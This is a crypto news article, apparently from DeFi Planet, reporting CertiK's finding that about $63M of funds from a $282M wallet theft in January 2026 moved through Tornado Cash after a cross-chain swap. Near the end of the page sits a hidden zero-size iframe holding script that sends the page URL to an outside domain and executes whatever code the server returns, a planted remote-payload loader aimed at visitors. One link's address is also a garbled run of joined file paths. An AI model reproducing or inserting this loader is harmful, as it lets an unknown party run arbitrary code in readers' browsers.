Cash

DeFi

ZachXBT

Tornado Cash

Tornado

<h4>Quick Breakdown&nbsp;</h4>
<ul>
 <li style="font-weight: 400;" aria-level="1">$63M in Tornado Cash deposits has been linked to the January 10 $282M wallet exploit.</li>
 <li style="font-weight: 400;" aria-level="1">686 BTC was bridged to Ethereum, converted to ETH, and split before entering mixers.</li>
 <li style="font-weight: 400;" aria-level="1">Experts say fund recovery is nearly impossible once assets pass through Tornado Cash.</li>
</ul>
&nbsp;
Roughly $63 million in crypto routed through Tornado Cash has now been linked to the $282 million wallet compromise that occurred on January 10, according to blockchain security firm CertiK.
<blockquote class="twitter-tweet">
 <a href="https://twitter.com/hashtag/CertiKInsight?src=hash&amp;ref_src=twsrc%5Etfw">#CertiKInsight</a> <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f6a8.png" alt="🚨" class="wp-smiley" style="height: 1em; max-height: 1em;">
 We have detected Tornado Cash deposits that trace to the alleged wallet compromise on Jan 10th that cost over $282M.
 Part of the fund (~$63M) was bridged to 0xF73a4EbC3d0984F166AC215471Cc895cB4F5cc21 before further laundering.
 Stay Vigilant! <a href="https://t.co/byzRmjoeZR">pic.twitter.com/byzRmjoeZR</a>
 — CertiK Alert (@CertiKAlert) <a href="https://twitter.com/CertiKAlert/status/2013072177256423565?ref_src=twsrc%5Etfw">January 19, 2026</a>
</blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
In a <a style="color: #0000ff;" href="https://x.com/CertiKAlert/status/2013072177256423565">post</a> shared Monday on X, CertiK said its on-chain monitoring systems detected Tornado Cash activity connected to the exploit, offering fresh insight into how the attacker laundered funds after the initial theft. The incident has drawn widespread attention from crypto investigators due to both the scale of losses and the speed at which assets were moved across chains.
<h3 id="span-style-font-weight-400-certik-traces-cross-chain-laundering-route-span">CertiK traces cross-chain laundering route</h3>
CertiK’s analysis shows that a portion of the stolen Bitcoin was first bridged to Ethereum, converted into Ether, and then dispersed across several wallets to reduce traceability.
At least 686 BTC was swapped cross-chain, resulting in approximately 19,600 ETH landing in a single Ethereum address. From there, the ETH was split into smaller amounts and distributed across multiple wallets. Each wallet forwarded several hundred ETH before the funds ultimately entered Tornado Cash, a privacy-focused mixing protocol.
While the $63 million represents only part of the total stolen funds, CertiK noted that the movement highlights a deliberate attempt to obscure transaction trails following the exploit.
<h3 id="span-style-font-weight-400-experts-say-mixer-use-slashes-recovery-chances-span">Experts say mixer use slashes recovery chances</h3>
Blockchain security experts say the laundering pattern closely follows a well-known playbook. Marwan Hachem, CEO of blockchain security firm FearsOff, described the activity as “textbook” for large-scale cross-chain thefts involving Bitcoin and Litecoin.
Investigators previously linked the January 10 breach to a social engineering attack, in which the attacker impersonated wallet support staff and tricked the victim into revealing their seed phrase.
Blockchain investigator ZachXBT said the compromised wallet contained about 1,459 BTC and more than 2 million Litecoin. Some of the stolen assets were also swapped into privacy-focused cryptocurrencies.
Security firm ZeroShadow earlier reported that roughly $700,000 was flagged and frozen early in the laundering process, though most of the funds have since moved beyond recovery. Additionally on January 2, a live cross-chain <a style="color: #0000ff;" href="https://defi-planet.com/2026/01/active-cross-chain-attack-drains-over-107k-from-hundreds-of-crypto-wallets/">exploit</a> drained funds from hundreds of crypto wallets across multiple EVM-compatible blockchains, with total losses now exceeding $107,000 and still rising.
&nbsp;
If you would like to read more articles like this, visit<a style="color: #0000ff;" href="https://defi-planet.com/wp-content/uploads/2025/09/Barriers-and-Skepticism-in-Apples-crypto-security-push-1-3.avifwp-content/uploads/2025/09/Barriers-and-Skepticism-in-Apples-crypto-security-push-1-2.avifwp-content/uploads/2025/10/Proof-of-Personhood-A-Privacy-First-Approach-to-Identity-Verification-scaled-1.avifwp-content/uploads/2025/10/Are-We-Ignoring-the-Ethics-of-Crypto-Staking-scaled-2.avifwp-content/uploads/2025/10/Slippage-Front-Running-and-MEV-The-Hidden-Costs-of-DeFi-Trading-scaled-1.avifwp-content/uploads/2025/09/Next-Technology-Holding-1.avifwp-content/uploads/2025/09/Next-Technology-Holding-1.avifwp-content/uploads/2025/10/Russian-Ruble-Backed-Stablecoin-A7A5-1.avifwp-content/uploads/2025/10/IoTeX-1.avifwp-content/uploads/2025/09/Pepeto-eth-ethereum__17576735955xmMW0sU5j-1.jpgwp-content/uploads/2025/10/featured_BitMine_Dark_Background___Logo_1759753804_1759753804OCMtn2Egta-1.avif"> DeFi Planet</a> and follow us on<a style="color: #0000ff;" href="https://twitter.com/PlanetDefi"> Twitter</a>,<a style="color: #0000ff;" href="https://www.linkedin.com/company/defi-planet/"> LinkedIn</a>,<a style="color: #0000ff;" href="https://www.facebook.com/DeFi-Planet-129907662611402"> Facebook</a>,<a style="color: #0000ff;" href="https://www.instagram.com/defi.planet/"> Instagram</a>, and<a href="https://coinmarketcap.com/community/profile/DeFiPlanet/"> CoinMarketCap Community</a>.
Take control of your crypto&nbsp; portfolio with MARKETS PRO, DeFi Planet’s suite of analytics tools.”
The post <a href="https://defi-planet.com/2026/01/certik-reveals-63m-in-tornado-cash-deposits-tied-to-282m-wallet-hack/">CertiK Reveals $63M in Tornado Cash Deposits Tied to $282M Wallet Hack</a> appeared first on <a href="https://defi-planet.com">DeFi Planet</a>.<div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

CertiK Reveals $63M in Tornado Cash Deposits Tied to $282M Wallet Hack

Table of Contents

DeFi Planet

Other articles published on Jan 19, 2026

uDegen: The Next Utility Layer of the Utopia Ecosystem

Cardone Capital Ramps Up BTC Plan With $10M Add, Saylor Watching

Ethereum hits new 2.8M daily transaction record as retail returns for low fees

Spur Protocol Daily Quiz Answer 20 January 2026: Earn Rewards

Ethereum Prices Hover as Key Resistance Looms

Federal Reserve Chair Nomination Stakes: Warsh Surges Ahead

Join our free newsletter for daily crypto updates!